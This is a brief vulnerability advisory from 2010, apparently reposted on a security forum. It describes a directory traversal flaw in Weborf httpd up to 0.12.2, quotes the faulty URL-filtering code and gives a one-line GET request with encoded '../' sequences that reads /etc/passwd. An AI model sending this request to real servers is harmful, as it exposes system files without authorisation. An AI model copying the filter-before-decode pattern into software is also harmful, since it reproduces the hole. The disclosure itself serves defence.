Title: Weborf httpd <= 0.12.2 Directory Traversal Vulnerability  

Date: Sep 6, 2010  

Author: Rew  

Link: 307K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3N6S2L8r3W2D9k6h3!0Q4x3X3g2V1L8h3W2Q4x3X3g2#2L8X3W2U0N6q4)9J5k6h3W2@1i4K6u0r3N6$3W2C8K9g2)9J5c8Y4N6W2j5X3!0J5k6W2)9J5c8X3c8G2K9%4g2Q4x3X3g2H3K9s2m8Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.

Version: 0.12.2  

Tested On: Debian 5  

CVE: N/A  

   

=============================================================  

   

Weborf httpd <= 0.12.2 suffers a directory traversal  

vulnerability.  This vulnerability could allow  

attackers to read arbitrary files and hak th3 plan3t.  

   

instance.c : line 240-244  

------------------------------  

void modURL(char* url) {  

    //Prevents the use of .. to access the whole filesystem  <-- ORLY?  

    strReplace(url,"../",'\0');  

   

    replaceEscape(url);  

------------------------------  

   

Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  

   

==============================================================  

   

Stay safe,  

Over and Out

[培训]科锐逆向工程师培训第53期2025年7月8日开班！